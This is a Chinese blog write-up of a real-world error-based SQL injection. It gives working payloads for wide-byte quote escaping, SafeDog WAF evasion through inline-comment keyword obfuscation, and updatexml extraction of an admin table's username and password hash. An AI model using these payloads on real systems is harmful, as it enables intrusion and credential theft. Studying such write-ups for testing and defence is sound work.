记一次艰难的SQL注入(过安全狗)

2024-05-30 04:44

本文主要是介绍记一次艰难的SQL注入(过安全狗),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.前言

最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台。

1643952172_61fcb82c03e0f6f343a5a.png!small

2.注入测试

bp抓包,加单引号,没有什么用。

1643952189_61fcb83d079a6018624f5.png!small

很显然,这里开启了php的魔术函数,把单引号自动转义了。

2.1.绕过第一式:汉字双字节编码绕过单引号

当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过。

例如构造Payload为:

username=%BF'

1

%BF解码之后是中文乱码

1643952215_61fcb857206cc71168d77.png!small

1643952224_61fcb86004e34229f57a5.png!small

可以看到SQL语句变成:

SELECT * FROM `sl_admin` WHERE `username`='¿'

成功过滤单引号。

程序报错,考虑使用爆错注入。

3.获取数据库

既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容。

第一步是注出数据库,版本,用户等基本信息。

先把Payload放出来,再进行讲解。

Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#

1643952331_61fcb8cb0c8d3a9da01b2.png!small

数据库名不能放出来,在本文中用test_db代替。

用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来。

数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

3.1绕过第二式:注释

再第一个绕过那里,可以看到SQL语句后面还多了个单引号。这个单引号要么把它闭合,要么就注释掉。由于这里开启了魔术函数,所以选择注释。

我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了。

注释成功,很简单,没什么好说的。

1643952365_61fcb8edf3438850f2d28.png!small

3.2 绕过第三式:内联注释绕过空格

安全狗把空格干掉了。

空格或者加号都会被干掉。

1643952383_61fcb8ffee755ddd89b95.png!small

当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过。

username=%BF/**/and/**/1'

1643952425_61fcb929d90789ea35a97.png!small

4.获取表名

再得到数据库后要获取表名。

先把Payload放出来。

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/gr

1643952454_61fcb946dabb47edb88cf.png!small

管理员表用admin代替,其他表用test_table代替。

4.1 绕过第四式:select过安全狗

注表名需要用select语句,因此我最开始写的Payload是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

很快啊,被安全狗拦了。

1643952474_61fcb95a977e7f2fc4a2f.png!small

这种select的绕过是最麻烦的,我在尝试了URL编码绕过,混淆大小写绕过,脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章。

https://www.cnblogs.com/w-i-n-d/p/8649590.html

在该文中,用 /*!50000%53elect*/ 代替select实现绕过

我尝试了一下,成功实现了绕过(见上图)

后来我测试了一下,其他关键词也可以用这种方法绕过

select
/*!50000%53elect*/
order /*!50000%53elect*/
union
/*!50000%75nion*/

5.获取列名

得到了表名和列名,接下来就是要获取列名。

先放Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#

5.1绕过第五式:骚操作绕过魔术函数

按照正常的注入流程,写出来的Payload应该是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#

问题在于,魔术函数干掉了我的单引号。

于是我就开始各种百度,Google,查找怎么绕过魔术函数。

Noway

就在陷入死胡同时,我灵机一动。

我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名。

因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名。

但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名。

例如,我想知道 数据库 testadmin表的内容。

select column_name from information_schema.columns where table_schema like 

1643952530_61fcb9922540c62054654.png!small

这时通过直觉可以判断出,admin表中的字段是 id username password。

同理,在该站点中,可以通过这种方法,获取字段。

当Payload指定为:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

得到的字段数为:typeid。

1643952552_61fcb9a84ae9f39b4c2a8.png!small

通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段。

经过测试,当值为 7,1时可以得到字段 username; 当值为 8,1时可以得到字段 password。

1643952568_61fcb9b81b157b49acca9.png!small

1643952582_61fcb9c60e6228b3b4dcd.png!small

6.爆帐密

得到了以上信息后,爆帐密就很简单了。

爆账号:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密码:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#

因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出。

解密得到账号密码。

登录成功。

1643952603_61fcb9db2c992cc1561c0.png!small

总结

实战注入的难度比靶场大得多,各种绕过,各种骚操作。

要学会利用搜索工具,更要学会选择性放弃。

当一条路走不通就换另一种方法,也许就会柳暗花明又一村。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

这篇关于记一次艰难的SQL注入(过安全狗)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1015605

相关文章

Mysql虚拟列的使用场景

《Mysql虚拟列的使用场景》MySQL虚拟列是一种在查询时动态生成的特殊列,它不占用存储空间,可以提高查询效率和数据处理便利性,本文给大家介绍Mysql虚拟列的相关知识,感兴趣的朋友一起看看吧... 目录1. 介绍mysql虚拟列1.1 定义和作用1.2 虚拟列与普通列的区别2. MySQL虚拟列的类型2

mysql数据库分区的使用

《mysql数据库分区的使用》MySQL分区技术通过将大表分割成多个较小片段,提高查询性能、管理效率和数据存储效率,本文就来介绍一下mysql数据库分区的使用,感兴趣的可以了解一下... 目录【一】分区的基本概念【1】物理存储与逻辑分割【2】查询性能提升【3】数据管理与维护【4】扩展性与并行处理【二】分区的

MySQL中时区参数time_zone解读

《MySQL中时区参数time_zone解读》MySQL时区参数time_zone用于控制系统函数和字段的DEFAULTCURRENT_TIMESTAMP属性,修改时区可能会影响timestamp类型... 目录前言1.时区参数影响2.如何设置3.字段类型选择总结前言mysql 时区参数 time_zon

Python MySQL如何通过Binlog获取变更记录恢复数据

《PythonMySQL如何通过Binlog获取变更记录恢复数据》本文介绍了如何使用Python和pymysqlreplication库通过MySQL的二进制日志(Binlog)获取数据库的变更记录... 目录python mysql通过Binlog获取变更记录恢复数据1.安装pymysqlreplicat

使用SQL语言查询多个Excel表格的操作方法

《使用SQL语言查询多个Excel表格的操作方法》本文介绍了如何使用SQL语言查询多个Excel表格,通过将所有Excel表格放入一个.xlsx文件中,并使用pandas和pandasql库进行读取和... 目录如何用SQL语言查询多个Excel表格如何使用sql查询excel内容1. 简介2. 实现思路3

Mysql DATETIME 毫秒坑的解决

《MysqlDATETIME毫秒坑的解决》本文主要介绍了MysqlDATETIME毫秒坑的解决,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着... 今天写代码突发一个诡异的 bug,代码逻辑大概如下。1. 新增退款单记录boolean save = s

mysql-8.0.30压缩包版安装和配置MySQL环境过程

《mysql-8.0.30压缩包版安装和配置MySQL环境过程》该文章介绍了如何在Windows系统中下载、安装和配置MySQL数据库,包括下载地址、解压文件、创建和配置my.ini文件、设置环境变量... 目录压缩包安装配置下载配置环境变量下载和初始化总结压缩包安装配置下载下载地址:https://d

MySQL中的锁和MVCC机制解读

《MySQL中的锁和MVCC机制解读》MySQL事务、锁和MVCC机制是确保数据库操作原子性、一致性和隔离性的关键,事务必须遵循ACID原则,锁的类型包括表级锁、行级锁和意向锁,MVCC通过非锁定读和... 目录mysql的锁和MVCC机制事务的概念与ACID特性锁的类型及其工作机制锁的粒度与性能影响多版本

MYSQL行列转置方式

《MYSQL行列转置方式》本文介绍了如何使用MySQL和Navicat进行列转行操作,首先,创建了一个名为`grade`的表,并插入多条数据,然后,通过修改查询SQL语句,使用`CASE`和`IF`函... 目录mysql行列转置开始列转行之前的准备下面开始步入正题总结MYSQL行列转置环境准备:mysq

MySQL不使用子查询的原因及优化案例

《MySQL不使用子查询的原因及优化案例》对于mysql,不推荐使用子查询,效率太差,执行子查询时,MYSQL需要创建临时表,查询完毕后再删除这些临时表,所以,子查询的速度会受到一定的影响,本文给大家... 目录不推荐使用子查询和JOIN的原因解决方案优化案例案例1:查询所有有库存的商品信息案例2:使用EX